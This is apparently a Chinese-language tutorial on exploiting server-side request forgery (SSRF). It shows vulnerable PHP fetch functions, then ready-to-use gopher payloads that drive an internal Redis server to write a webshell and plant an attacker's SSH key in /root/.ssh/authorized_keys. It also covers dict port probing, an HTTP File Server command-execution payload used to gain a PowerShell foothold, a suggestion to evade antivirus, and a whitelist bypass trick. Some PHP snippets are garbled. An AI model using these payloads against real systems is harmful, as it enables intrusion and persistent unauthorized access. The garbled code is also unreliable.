简介
什么是SSRF?服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统
0x0 前期准备
1.phpstudy
1.SSRF常见的攻击手法
漏洞产生SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制,如PHP中的curl_exec、file_get_contents、fsockopen
1.1 curl_exec
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
1.2 file_get_contents
<?php
if(isset($_GET('file'])&&$_GET('file'] !=nulL) {
$filename = $GET('file']:
$str = file_get_contents ($filename);
echo Sstr:
}
?>
1.3 fsockopen
<?php
function Getfile($host, $port, $link){
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if(!$fp){
echo "$errstr (error number $errno) \n";
}else{
$out = "GET $link HTTP/1.1\r\n";
$out .= "HOST $host \r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$content = '';
while(!feof($fp)){
$contents .= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
查看curl的版本和该版本支持的协议
1.判断SSRF
一般SSRF存在于通过Interface去请求,外部链接资源,或者内部连接资源,如api开放平台的某处调用
一般来说,我们可以通过提交URL地址去探测此接口是否存在ssrf,探测一般分为两种,一种是无回显型一种是回显型,有回显的就比较明显,会将获取到的数据直接返回,无回显可以通过响应时间,还有DNSlog去探测。
2.SSRF与协议
一、gopher
互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务,也叫万金油协议,可以拿此协议作为POST、GET请求去发包,也可以去攻击redis、ftp、telnet、mysql等
gopher利用对应版本
php >=5.3
java <=jdk1.7
gopher协议格式:
gopher://ip:port/_payload
gopher://IP:port/_后接TCP数据流
使用gopher协议进行发包时,回车换行需要使用%0d%0a(/r/n)替换,并且url编码
tcpdump抓取redis通信数据包,监听eth0网卡上的6379端口
tcpdump -i eth0 port 6379 -w redis.pcap
正常连接redis,并尝试通讯
分析数据包,查看tcp流
通过数据包可以分析,每一行命令为一个数组,如set ceshi "123"为一个三个元素的数组,所以开头的标识符*为3,每个元素的长度都由$标识,现在就完全了解redis通讯数据包的格式了,我们直接使用gopher协议对redis进行交互
我们尝试通过redis通讯数据包格式去发送gopher协议请求
*3
$3
set
$5
ceshi
$3
1234
exit
URL编码:
%2a%33%0a%24%33%0a%73%65%74%0a%24%35%0a%63%65%73%68%69%0a%24%33%0a%31%32%33%34%0a%65%78%69%74
需要替换换行符%0a为%0d%0a,单个%0a,http协议无法去识别为回车换行,在协议中对于回车换行,只能用通过%0d%0a来识别,%0d%0a的也就是\r\n回车符和换行符
收到请求结果,最终payload为:
gopher://192.168.124.18:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%35%0d%0a%63%65%73%68%69%0d%0a%24%33%0d%0a%31%32%33%34%0d%0a%65%78%69%74%0d%0a
2.在存在web的情况下写webshell
config set dir /var/www/html/
config set dbfilename ceshi.txt
set shell "ceshi123456"
save
tcp数据流
*4
$6
config
$3
set
$3
dir
$14
/var/www/html/
*4
$6
config
$3
set
$11
dbfilename
$9
ceshi.txt
*3
$3
set
$5
shell
$6
123456
save
如果是linux,同时也可以通过写入ssh公钥进行登录
set margin "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDr6sOA325MhcQUUknax18ZY9+I/t8LUzPqaD1eX/covADk/nbqcdohGhziCqNIicwdsSoSGu94Y1sauZfocDIIxsfvacFERhmjOXuO2MwxwBRjhblaMUnf3z/pWHjGC03olnkC7JzCIxydkoWRjuEZSbjYSvFvW70P0phyjQ6uYeBXZ32WWEB3iBDW7RGUI/UqmTYr5dWVnzbPsebNqVlCbfvBCGAGC3BmmZs2xoD8gFltru4BraBhMc3a5KCJrpuHVkC+5HxrzpTkFUIxIF2MgdC4XEtFgJUPyXE9kL94/Y/xgVtxFzeyYURPyN0Ps LSgyJopIkSTQh/+/u+46MlXWZb+8LjdafSy9vglbiCir7u9rQGB8eqo8iBzfSZpDmJi0GqFJioWs5yF0guw06OEoC52cf8q2568zsdp8B4VBW1cSTPTaAdv9aEbn6qANLjigSIFMApW3eU5jEECawXts9Z7v9CfKd2Z3rHuIV4pl85emdv51fXyPiV1wf0m2zs= root@kali\n\n\n"
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
当然我们也可以用工具去编码数据流,一个一个去数数组还有元素效率确实不高
比如:https://github.com/firebroo/sec_tools/blob/master/redis-over-gopher/redis-over-gopher.py
gopher post请求
发送post请求可以直接去burp里抓包,然后编码,再通过gopher协议去请求,通过burp抓到的包就是原始的http数据流,不需要像redis一样去数数组元素
gopher协议下的post请求必须要包含四个字段 POST、Host、Content-Type、Content-Length
POST / HTTP/1.1
Host: 192.168.124.9:8013
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
a=1
二、dict
1.什么是dict?
dict 协议可以加载一个 tcp 端口的提供的服务所返回的部分数据,在ssrf中通常用于作为端口探测,类似于telnet 协议。也可以通过dict去查看curl的版本信息,直接通过nc监听,访问
dict协议格式:
dict://127.0.0.1:port/payload
比如向未授权的redis发起请求http://192.168.2.169:8012/ssrf.php?url=dict://172.16.122.5:6379/info,可以看到redis的基本配置信息
三、file
file协议格式:
file://file
四、http/s
http/s协议格式:
http://
https://
通常也作为端口探测,效果类似于dict,也是会返回服务的部分数据
0x2 进阶之SSRF
前言:某次hw遇到的突发奇想,通过外网找到一个SSRF触发点,通过http协议去去扫描存在的web,找到一个hfs,通过ssrf+配合hfs成功上线
1.SSRF+HTTP File Server
漏洞版本:HTTP File Server 2.3c及之前版本
Payload:
?search==%00{.exec|cmd /c command.}
?search==%00{.exec|command.}
可以通过hfs去添加用户或者执行上线命令
正常访问通过ssrf访问到hfs
ssrf+powershell上线
当然在实测中肯定需要绕过杀软的方式,这个就要自己去研究了
0x3 SSRF绕过
1.白名单绕过
只允许访问指定domain或者指定ip时,可以通过http认证来绕过
如果ssrf只允许访问百度:http://127.0.0.1/ssrf.php?url=https://www.baidu.com
我们的目标是绕过百度访问到搜狗
我们只需要通过http认证的格式去绕过:
http://127.0.0.1/ssrf.php?url=https://www.baidu.com@www.sogou.com
实现效果如下:
搭建一个伪造的http认证
在ssrf触发点,通过http认证的格式去访问
抓取取到认证信息
同理绕过百度,访问到搜狗